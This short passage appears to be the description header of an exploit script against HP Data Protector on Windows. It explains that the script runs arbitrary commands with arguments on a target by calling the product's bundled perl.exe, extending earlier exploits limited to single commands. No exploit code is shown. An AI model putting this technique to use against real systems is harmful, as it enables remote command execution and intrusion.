        This script allows to execute a command with an arbitrary number
        of arguments on Microsoft Windows operating systems. The trick 
        calls a perl.exe interpreter installed with HP Data Protector 
        inside the directory {install_path}/bin/.
        
        The main goal of the script is to bypass the limitation of execute
        only a single command without parameters, as provided by already existing
                                exploits. It is possible to exploit the security issue in order to run 
                                any command inside the target system.
